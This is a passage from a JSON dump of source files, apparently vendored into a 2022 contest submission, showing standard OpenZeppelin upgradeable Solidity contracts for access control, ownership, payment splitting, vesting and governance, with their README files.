*/\n    function hasRole(bytes32 role, address account) external view returns (bool);\n\n    /**\n     * @dev Returns the admin role that controls `role`. See {grantRole} and\n     * {revokeRole}.\n     *\n     * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n     */\n    function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n    /**\n     * @dev Grants `role` to `account`.\n     *\n     * If `account` had not been already granted `role`, emits a {RoleGranted}\n     * event.\n     *\n     * Requirements:\n     *\n     * - the caller must have ``role``'s admin role.\n     */\n    function grantRole(bytes32 role, address account) external;\n\n    /**\n     * @dev Revokes `role` from `account`.\n     *\n     * If `account` had been granted `role`, emits a {RoleRevoked} event.\n     *\n     * Requirements:\n     *\n     * - the caller must have ``role``'s admin role.\n     */\n    function revokeRole(bytes32 role, address account) external;\n\n    /**\n     * @dev Revokes `role` from the calling account.\n     *\n     * Roles are often managed via {grantRole} and {revokeRole}: this function's\n     * purpose is to provide a mechanism for accounts to lose their privileges\n     * if they are compromised (such as when a trusted device is misplaced).\n     *\n     * If the calling account had been granted `role`, emits a {RoleRevoked}\n     * event.\n     *\n     * Requirements:\n     *\n     * - the caller must be `account`.\n     */\n    function renounceRole(bytes32 role, address account) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n    address private _owner;\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    /**\n     * @dev Initializes the contract setting the deployer as the initial owner.\n     */\n    function __Ownable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __Ownable_init_unchained();\n    }\n\n    function __Ownable_init_unchained() internal onlyInitializing {\n        _transferOwnership(_msgSender());\n    }\n\n    /**\n     * @dev Returns the address of the current owner.\n     */\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    /**\n     * @dev Throws if called by any account other than the owner.\n     */\n    modifier onlyOwner() {\n        require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n        _;\n    }\n\n    /**\n     * @dev Leaves the contract without owner. It will not be possible to call\n     * `onlyOwner` functions anymore. Can only be called by the current owner.\n     *\n     * NOTE: Renouncing ownership will leave the contract without an owner,\n     * thereby removing any functionality that is only available to the owner.\n     */\n    function renounceOwnership() public virtual onlyOwner {\n        _transferOwnership(address(0));\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Can only be called by the current owner.\n     */\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n        _transferOwnership(newOwner);\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Internal function without access restriction.\n     */\n    function _transferOwnership(address newOwner) internal virtual {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/README.adoc",
    "content": "= Access Control\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/access\n\nThis directory provides ways to restrict who can access the functions of a contract or when they can do it.\n\n- {AccessControl} provides a general role based access control mechanism. Multiple hierarchical roles can be created and assigned each to multiple accounts.\n- {Ownable} is a simpler mechanism with a single owner \"role\" that can be assigned to a single account. This simpler mechanism can be useful for quick tests but projects with production concerns are likely to outgrow it.\n\n== Authorization\n\n{{Ownable}}\n\n{{IAccessControl}}\n\n{{AccessControl}}\n\n{{IAccessControlEnumerable}}\n\n{{AccessControlEnumerable}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/finance/PaymentSplitterUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/utils/SafeERC20Upgradeable.sol\";\nimport \"../utils/AddressUpgradeable.sol\";\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title PaymentSplitter\n * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware\n * that the Ether will be split in this way, since it is handled transparently by the contract.\n *\n * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each\n * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim\n * an amount proportional to the percentage of total shares they were assigned.\n *\n * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the\n * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}\n * function.\n *\n * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and\n * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you\n * to run tests before sending real value to this contract.\n */\ncontract PaymentSplitterUpgradeable is Initializable, ContextUpgradeable {\n    event PayeeAdded(address account, uint256 shares);\n    event PaymentReleased(address to, uint256 amount);\n    event ERC20PaymentReleased(IERC20Upgradeable indexed token, address to, uint256 amount);\n    event PaymentReceived(address from, uint256 amount);\n\n    uint256 private _totalShares;\n    uint256 private _totalReleased;\n\n    mapping(address => uint256) private _shares;\n    mapping(address => uint256) private _released;\n    address[] private _payees;\n\n    mapping(IERC20Upgradeable => uint256) private _erc20TotalReleased;\n    mapping(IERC20Upgradeable => mapping(address => uint256)) private _erc20Released;\n\n    /**\n     * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at\n     * the matching position in the `shares` array.\n     *\n     * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no\n     * duplicates in `payees`.\n     */\n    function __PaymentSplitter_init(address[] memory payees, uint256[] memory shares_) internal onlyInitializing {\n        __Context_init_unchained();\n        __PaymentSplitter_init_unchained(payees, shares_);\n    }\n\n    function __PaymentSplitter_init_unchained(address[] memory payees, uint256[] memory shares_) internal onlyInitializing {\n        require(payees.length == shares_.length, \"PaymentSplitter: payees and shares length mismatch\");\n        require(payees.length > 0, \"PaymentSplitter: no payees\");\n\n        for (uint256 i = 0; i < payees.length; i++) {\n            _addPayee(payees[i], shares_[i]);\n        }\n    }\n\n    /**\n     * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully\n     * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the\n     * reliability of the events, and not the actual splitting of Ether.\n     *\n     * To learn more about this see the Solidity documentation for\n     * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback\n     * functions].\n     */\n    receive() external payable virtual {\n        emit PaymentReceived(_msgSender(), msg.value);\n    }\n\n    /**\n     * @dev Getter for the total shares held by payees.\n     */\n    function totalShares() public view returns (uint256) {\n        return _totalShares;\n    }\n\n    /**\n     * @dev Getter for the total amount of Ether already released.\n     */\n    function totalReleased() public view returns (uint256) {\n        return _totalReleased;\n    }\n\n    /**\n     * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20\n     * contract.\n     */\n    function totalReleased(IERC20Upgradeable token) public view returns (uint256) {\n        return _erc20TotalReleased[token];\n    }\n\n    /**\n     * @dev Getter for the amount of shares held by an account.\n     */\n    function shares(address account) public view returns (uint256) {\n        return _shares[account];\n    }\n\n    /**\n     * @dev Getter for the amount of Ether already released to a payee.\n     */\n    function released(address account) public view returns (uint256) {\n        return _released[account];\n    }\n\n    /**\n     * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an\n     * IERC20 contract.\n     */\n    function released(IERC20Upgradeable token, address account) public view returns (uint256) {\n        return _erc20Released[token][account];\n    }\n\n    /**\n     * @dev Getter for the address of the payee number `index`.\n     */\n    function payee(uint256 index) public view returns (address) {\n        return _payees[index];\n    }\n\n    /**\n     * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the\n     * total shares and their previous withdrawals.\n     */\n    function release(address payable account) public virtual {\n        require(_shares[account] > 0, \"PaymentSplitter: account has no shares\");\n\n        uint256 totalReceived = address(this).balance + totalReleased();\n        uint256 payment = _pendingPayment(account, totalReceived, released(account));\n\n        require(payment != 0, \"PaymentSplitter: account is not due payment\");\n\n        _released[account] += payment;\n        _totalReleased += payment;\n\n        AddressUpgradeable.sendValue(account, payment);\n        emit PaymentReleased(account, payment);\n    }\n\n    /**\n     * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their\n     * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20\n     * contract.\n     */\n    function release(IERC20Upgradeable token, address account) public virtual {\n        require(_shares[account] > 0, \"PaymentSplitter: account has no shares\");\n\n        uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);\n        uint256 payment = _pendingPayment(account, totalReceived, released(token, account));\n\n        require(payment != 0, \"PaymentSplitter: account is not due payment\");\n\n        _erc20Released[token][account] += payment;\n        _erc20TotalReleased[token] += payment;\n\n        SafeERC20Upgradeable.safeTransfer(token, account, payment);\n        emit ERC20PaymentReleased(token, account, payment);\n    }\n\n    /**\n     * @dev internal logic for computing the pending payment of an `account` given the token historical balances and\n     * already released amounts.\n     */\n    function _pendingPayment(\n        address account,\n        uint256 totalReceived,\n        uint256 alreadyReleased\n    ) private view returns (uint256) {\n        return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;\n    }\n\n    /**\n     * @dev Add a new payee to the contract.\n     * @param account The address of the payee to add.\n     * @param shares_ The number of shares owned by the payee.\n     */\n    function _addPayee(address account, uint256 shares_) private {\n        require(account != address(0), \"PaymentSplitter: account is the zero address\");\n        require(shares_ > 0, \"PaymentSplitter: shares are 0\");\n        require(_shares[account] == 0, \"PaymentSplitter: account already has shares\");\n\n        _payees.push(account);\n        _shares[account] = shares_;\n        _totalShares = _totalShares + shares_;\n        emit PayeeAdded(account, shares_);\n    }\n    uint256[43] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/finance/README.adoc",
    "content": "= Finance\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance\n\nThis directory includes primitives for financial systems:\n\n- {PaymentSplitter} allows to split Ether and ERC20 payments among a group of accounts. The sender does not need to be\n  aware that the assets will be split in this way, since it is handled transparently by the contract. The split can be\n  in equal parts or in any other arbitrary proportion.\n\n- {VestingWallet} handles the vesting of Ether and ERC20 tokens for a given beneficiary. Custody of multiple tokens can\n  be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting\n  schedule.\n\n== Contracts\n\n{{PaymentSplitter}}\n\n{{VestingWallet}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/finance/VestingWalletUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (finance/VestingWallet.sol)\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/utils/SafeERC20Upgradeable.sol\";\nimport \"../utils/AddressUpgradeable.sol\";\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../utils/math/MathUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title VestingWallet\n * @dev This contract handles the vesting of Eth and ERC20 tokens for a given beneficiary. Custody of multiple tokens\n * can be given to this contract, which will release the token to the beneficiary following a given vesting schedule.\n * The vesting schedule is customizable through the {vestedAmount} function.\n *\n * Any token transferred to this contract will follow the vesting schedule as if they were locked from the beginning.\n * Consequently, if the vesting has already started, any amount of tokens sent to this contract will (at least partly)\n * be immediately releasable.\n */\ncontract VestingWalletUpgradeable is Initializable, ContextUpgradeable {\n    event EtherReleased(uint256 amount);\n    event ERC20Released(address indexed token, uint256 amount);\n\n    uint256 private _released;\n    mapping(address => uint256) private _erc20Released;\n    address private _beneficiary;\n    uint64 private _start;\n    uint64 private _duration;\n\n    /**\n     * @dev Set the beneficiary, start timestamp and vesting duration of the vesting wallet.\n     */\n    function __VestingWallet_init(\n        address beneficiaryAddress,\n        uint64 startTimestamp,\n        uint64 durationSeconds\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __VestingWallet_init_unchained(beneficiaryAddress, startTimestamp, durationSeconds);\n    }\n\n    function __VestingWallet_init_unchained(\n        address beneficiaryAddress,\n        uint64 startTimestamp,\n        uint64 durationSeconds\n    ) internal onlyInitializing {\n        require(beneficiaryAddress != address(0), \"VestingWallet: beneficiary is zero address\");\n        _beneficiary = beneficiaryAddress;\n        _start = startTimestamp;\n        _duration = durationSeconds;\n    }\n\n    /**\n     * @dev The contract should be able to receive Eth.\n     */\n    receive() external payable virtual {}\n\n    /**\n     * @dev Getter for the beneficiary address.\n     */\n    function beneficiary() public view virtual returns (address) {\n        return _beneficiary;\n    }\n\n    /**\n     * @dev Getter for the start timestamp.\n     */\n    function start() public view virtual returns (uint256) {\n        return _start;\n    }\n\n    /**\n     * @dev Getter for the vesting duration.\n     */\n    function duration() public view virtual returns (uint256) {\n        return _duration;\n    }\n\n    /**\n     * @dev Amount of eth already released\n     */\n    function released() public view virtual returns (uint256) {\n        return _released;\n    }\n\n    /**\n     * @dev Amount of token already released\n     */\n    function released(address token) public view virtual returns (uint256) {\n        return _erc20Released[token];\n    }\n\n    /**\n     * @dev Release the native token (ether) that have already vested.\n     *\n     * Emits a {TokensReleased} event.\n     */\n    function release() public virtual {\n        uint256 releasable = vestedAmount(uint64(block.timestamp)) - released();\n        _released += releasable;\n        emit EtherReleased(releasable);\n        AddressUpgradeable.sendValue(payable(beneficiary()), releasable);\n    }\n\n    /**\n     * @dev Release the tokens that have already vested.\n     *\n     * Emits a {TokensReleased} event.\n     */\n    function release(address token) public virtual {\n        uint256 releasable = vestedAmount(token, uint64(block.timestamp)) - released(token);\n        _erc20Released[token] += releasable;\n        emit ERC20Released(token, releasable);\n        SafeERC20Upgradeable.safeTransfer(IERC20Upgradeable(token), beneficiary(), releasable);\n    }\n\n    /**\n     * @dev Calculates the amount of ether that has already vested. Default implementation is a linear vesting curve.\n     */\n    function vestedAmount(uint64 timestamp) public view virtual returns (uint256) {\n        return _vestingSchedule(address(this).balance + released(), timestamp);\n    }\n\n    /**\n     * @dev Calculates the amount of tokens that has already vested. Default implementation is a linear vesting curve.\n     */\n    function vestedAmount(address token, uint64 timestamp) public view virtual returns (uint256) {\n        return _vestingSchedule(IERC20Upgradeable(token).balanceOf(address(this)) + released(token), timestamp);\n    }\n\n    /**\n     * @dev Virtual implementation of the vesting formula. This returns the amout vested, as a function of time, for\n     * an asset given its total historical allocation.\n     */\n    function _vestingSchedule(uint256 totalAllocation, uint64 timestamp) internal view virtual returns (uint256) {\n        if (timestamp < start()) {\n            return 0;\n        } else if (timestamp > start() + duration()) {\n            return totalAllocation;\n        } else {\n            return (totalAllocation * (timestamp - start())) / duration();\n        }\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/GovernorUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/Governor.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/ECDSAUpgradeable.sol\";\nimport \"../utils/cryptography/draft-EIP712Upgradeable.sol\";\nimport \"../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../utils/math/SafeCastUpgradeable.sol\";\nimport \"../utils/AddressUpgradeable.sol\";\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../utils/TimersUpgradeable.sol\";\nimport \"./IGovernorUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Core of the governance system, designed to be extended though various modules.\n *\n * This contract is abstract and requires several function to be implemented in various modules:\n *\n * - A counting module must implement {quorum}, {_quorumReached}, {_voteSucceeded} and {_countVote}\n * - A voting module must implement {getVotes}\n * - Additionanly, the {votingPeriod} must also be implemented\n *\n * _Available since v4.3._\n */\nabstract contract GovernorUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, EIP712Upgradeable, IGovernorUpgradeable {\n    using SafeCastUpgradeable for uint256;\n    using TimersUpgradeable for TimersUpgradeable.BlockNumber;\n\n    bytes32 public constant BALLOT_TYPEHASH = keccak256(\"Ballot(uint256 proposalId,uint8 support)\");\n\n    struct ProposalCore {\n        TimersUpgradeable.BlockNumber voteStart;\n        TimersUpgradeable.BlockNumber voteEnd;\n        bool executed;\n        bool canceled;\n    }\n\n    string private _name;\n\n    mapping(uint256 => ProposalCore) private _proposals;\n\n    /**\n     * @dev Restrict access to governor executing address. Some module might override the _executor function to make\n     * sure this modifier is consistant with the execution model.\n     */\n    modifier onlyGovernance() {\n        require(_msgSender() == _executor(), \"Governor: onlyGovernance\");\n        _;\n    }\n\n    /**\n     * @dev Sets the value for {name} and {version}\n     */\n    function __Governor_init(string memory name_) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(name_, version());\n        __IGovernor_init_unchained();\n        __Governor_init_unchained(name_);\n    }\n\n    function __Governor_init_unchained(string memory name_) internal onlyInitializing {\n        _name = name_;\n    }\n\n    /**\n     * @dev Function to receive ETH that will be handled by the governor (disabled if executor is a third party contract)\n     */\n    receive() external payable virtual {\n        require(_executor() == address(this));\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC165Upgradeable) returns (bool) {\n        return interfaceId == type(IGovernorUpgradeable).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev See {IGovernor-name}.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev See {IGovernor-version}.\n     */\n    function version() public view virtual override returns (string memory) {\n        return \"1\";\n    }\n\n    /**\n     * @dev See {IGovernor-hashProposal}.\n     *\n     * The proposal id is produced by hashing the RLC encoded `targets` array, the `values` array, the `calldatas` array\n     * and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id\n     * can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in\n     * advance, before the proposal is submitted.\n     *\n     * Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the\n     * same proposal (with same operation and same description) will have the same id if submitted on multiple governors\n     * accross multiple networks. This also means that in order to execute the same operation twice (on the same\n     * governor) the proposer will have to change the description in order to avoid proposal id conflicts.\n     */\n    function hashProposal(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public pure virtual override returns (uint256) {\n        return uint256(keccak256(abi.encode(targets, values, calldatas, descriptionHash)));\n    }\n\n    /**\n     * @dev See {IGovernor-state}.\n     */\n    function state(uint256 proposalId) public view virtual override returns (ProposalState) {\n        ProposalCore memory proposal = _proposals[proposalId];\n\n        if (proposal.executed) {\n            return ProposalState.Executed;\n        } else if (proposal.canceled) {\n            return ProposalState.Canceled;\n        } else if (proposal.voteStart.getDeadline() >= block.number) {\n            return ProposalState.Pending;\n        } else if (proposal.voteEnd.getDeadline() >= block.number) {\n            return ProposalState.Active;\n        } else if (proposal.voteEnd.isExpired()) {\n            return\n                _quorumReached(proposalId) && _voteSucceeded(proposalId)\n                    ? ProposalState.Succeeded\n                    : ProposalState.Defeated;\n        } else {\n            revert(\"Governor: unknown proposal id\");\n        }\n    }\n\n    /**\n     * @dev See {IGovernor-proposalSnapshot}.\n     */\n    function proposalSnapshot(uint256 proposalId) public view virtual override returns (uint256) {\n        return _proposals[proposalId].voteStart.getDeadline();\n    }\n\n    /**\n     * @dev See {IGovernor-proposalDeadline}.\n     */\n    function proposalDeadline(uint256 proposalId) public view virtual override returns (uint256) {\n        return _proposals[proposalId].voteEnd.getDeadline();\n    }\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"The number of votes required in order for a voter to become a proposer\"_.\n     */\n    function proposalThreshold() public view virtual returns (uint256) {\n        return 0;\n    }\n\n    /**\n     * @dev Amount of votes already cast passes the threshold limit.\n     */\n    function _quorumReached(uint256 proposalId) internal view virtual returns (bool);\n\n    /**\n     * @dev Is the proposal successful or not.\n     */\n    function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool);\n\n    /**\n     * @dev Register a vote with a given support and voting weight.\n     *\n     * Note: Support is generic and can represent various things depending on the voting system used.\n     */\n    function _countVote(\n        uint256 proposalId,\n        address account,\n        uint8 support,\n        uint256 weight\n    ) internal virtual;\n\n    /**\n     * @dev See {IGovernor-propose}.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override returns (uint256) {\n        require(\n            getVotes(msg.sender, block.number - 1) >= proposalThreshold(),\n            \"GovernorCompatibilityBravo: proposer votes below proposal threshold\"\n        );\n\n        uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));\n\n        require(targets.length == values.length, \"Governor: invalid proposal length\");\n        require(targets.length == calldatas.length, \"Governor: invalid proposal length\");\n        require(targets.length > 0, \"Governor: empty proposal\");\n\n        ProposalCore storage proposal = _proposals[proposalId];\n        require(proposal.voteStart.isUnset(), \"Governor: proposal already exists\");\n\n        uint64 snapshot = block.number.toUint64() + votingDelay().toUint64();\n        uint64 deadline = snapshot + votingPeriod().toUint64();\n\n        proposal.voteStart.setDeadline(snapshot);\n        proposal.voteEnd.setDeadline(deadline);\n\n        emit ProposalCreated(\n            proposalId,\n            _msgSender(),\n            targets,\n            values,\n            new string[](targets.length),\n            calldatas,\n            snapshot,\n            deadline,\n            description\n        );\n\n        return proposalId;\n    }\n\n    /**\n     * @dev See {IGovernor-execute}.\n     */\n    function execute(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public payable virtual override returns (uint256) {\n        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n\n        ProposalState status = state(proposalId);\n        require(\n            status == ProposalState.Succeeded || status == ProposalState.Queued,\n            \"Governor: proposal not successful\"\n        );\n        _proposals[proposalId].executed = true;\n\n        emit ProposalExecuted(proposalId);\n\n        _execute(proposalId, targets, values, calldatas, descriptionHash);\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Internal execution mechanism. Can be overriden to implement different execution mechanism\n     */\n    function _execute(\n        uint256, /* proposalId */\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 /*descriptionHash*/\n    ) internal virtual {\n        string memory errorMessage = \"Governor: call reverted without message\";\n        for (uint256 i = 0; i < targets.length; ++i) {\n            (bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);\n            AddressUpgradeable.verifyCallResult(success, returndata, errorMessage);\n        }\n    }\n\n    /**\n     * @dev Internal cancel mechanism: locks up the proposal timer, preventing it from being re-submitted. Marks it as\n     * canceled to allow distinguishing it from executed proposals.\n     *\n     * Emits a {IGovernor-ProposalCanceled} event.\n     */\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual returns (uint256) {\n        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n        ProposalState status = state(proposalId);\n\n        require(\n            status != ProposalState.Canceled && status != ProposalState.Expired && status != ProposalState.Executed,\n            \"Governor: proposal not active\"\n        );\n        _proposals[proposalId].canceled = true;\n\n        emit ProposalCanceled(proposalId);\n\n        return proposalId;\n    }\n\n    /**\n     * @dev See {IGovernor-castVote}.\n     */\n    function castVote(uint256 proposalId, uint8 support) public virtual override returns (uint256) {\n        address voter = _msgSender();\n        return _castVote(proposalId, voter, support, \"\");\n    }\n\n    /**\n     * @dev See {IGovernor-castVoteWithReason}.\n     */\n    function castVoteWithReason(\n        uint256 proposalId,\n        uint8 support,\n        string calldata reason\n    ) public virtual override returns (uint256) {\n        address voter = _msgSender();\n        return _castVote(proposalId, voter, support, reason);\n    }\n\n    /**\n     * @dev See {IGovernor-castVoteBySig}.\n     */\n    function castVoteBySig(\n        uint256 proposalId,\n        uint8 support,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual override returns (uint256) {\n        address voter = ECDSAUpgradeable.recover(\n            _hashTypedDataV4(keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support))),\n            v,\n            r,\n            s\n        );\n        return _castVote(proposalId, voter, support, \"\");\n    }\n\n    /**\n     * @dev Internal vote casting mechanism: Check that the vote is pending, that it has not been cast yet, retrieve\n     * voting weight using {IGovernor-getVotes} and call the {_countVote} internal function.\n     *\n     * Emits a {IGovernor-VoteCast} event.\n     */\n    function _castVote(\n        uint256 proposalId,\n        address account,\n        uint8 support,\n        string memory reason\n    ) internal virtual returns (uint256) {\n        ProposalCore storage proposal = _proposals[proposalId];\n        require(state(proposalId) == ProposalState.Active, \"Governor: vote not currently active\");\n\n        uint256 weight = getVotes(account, proposal.voteStart.getDeadline());\n        _countVote(proposalId, account, support, weight);\n\n        emit VoteCast(account, proposalId, support, weight, reason);\n\n        return weight;\n    }\n\n    /**\n     * @dev Address through which the governor executes action. Will be overloaded by module that execute actions\n     * through another contract such as a timelock.\n     */\n    function _executor() internal view virtual returns (address) {\n        return address(this);\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/IGovernorUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/IGovernor.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Interface of the {Governor} core.\n *\n * _Available since v4.3._\n */\nabstract contract IGovernorUpgradeable is Initializable, IERC165Upgradeable {\n    function __IGovernor_init() internal onlyInitializing {\n        __IGovernor_init_unchained();\n    }\n\n    function __IGovernor_init_unchained() internal onlyInitializing {\n    }\n    enum ProposalState {\n        Pending,\n        Active,\n        Canceled,\n        Defeated,\n        Succeeded,\n        Queued,\n        Expired,\n        Executed\n    }\n\n    /**\n     * @dev Emitted when a proposal is created.\n     */\n    event ProposalCreated(\n        uint256 proposalId,\n        address proposer,\n        address[] targets,\n        uint256[] values,\n        string[] signatures,\n        bytes[] calldatas,\n        uint256 startBlock,\n        uint256 endBlock,\n        string description\n    );\n\n    /**\n     * @dev Emitted when a proposal is canceled.\n     */\n    event ProposalCanceled(uint256 proposalId);\n\n    /**\n     * @dev Emitted when a proposal is executed.\n     */\n    event ProposalExecuted(uint256 proposalId);\n\n    /**\n     * @dev Emitted when a vote is cast.\n     *\n     * Note: `support` values should be seen as buckets. There interpretation depends on the voting module used.\n     */\n    event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason);\n\n    /**\n     * @notice module:core\n     * @dev Name of the governor instance (used in building the ERC712 domain separator).\n     */\n    function name() public view virtual returns (string memory);\n\n    /**\n     * @notice module:core\n     * @dev Version of the governor instance (used in building the ERC712 domain separator). Default: \"1\"\n     */\n    function version() public view virtual returns (string memory);\n\n    /**\n     * @notice module:voting\n     * @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to\n     * be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of\n     * key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`.\n     *\n     * There are 2 standard keys: `support` and `quorum`.\n     *\n     * - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`.\n     * - `quorum=bravo` means that only For votes are counted towards quorum.\n     * - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum.\n     *\n     * NOTE: The string can be decoded by the standard\n     * https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`]\n     * JavaScript class.\n     */\n    // solhint-disable-next-line func-name-mixedcase\n    function COUNTING_MODE() public pure virtual returns (string memory);\n\n    /**\n     * @notice module:core\n     * @dev Hashing function used to (re)build the proposal id from the proposal details..\n     */\n    function hashProposal(\n        address[] calldata targets,\n        uint256[] calldata values,\n        bytes[] calldata calldatas,\n        bytes32 descriptionHash\n    ) public pure virtual returns (uint256);\n\n    /**\n     * @notice module:core\n     * @dev Current state of a proposal, following Compound's convention\n     */\n    function state(uint256 proposalId) public view virtual returns (ProposalState);\n\n    /**\n     * @notice module:core\n     * @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's\n     * ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the\n     * beginning of the following block.\n     */\n    function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256);\n\n    /**\n     * @notice module:core\n     * @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote\n     * during this block.\n     */\n    function proposalDeadline(uint256 proposalId) public view virtual returns (uint256);\n\n    /**\n     * @notice module:user-config\n     * @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to\n     * leave time for users to buy voting power, of delegate it, before the voting of a proposal starts.\n     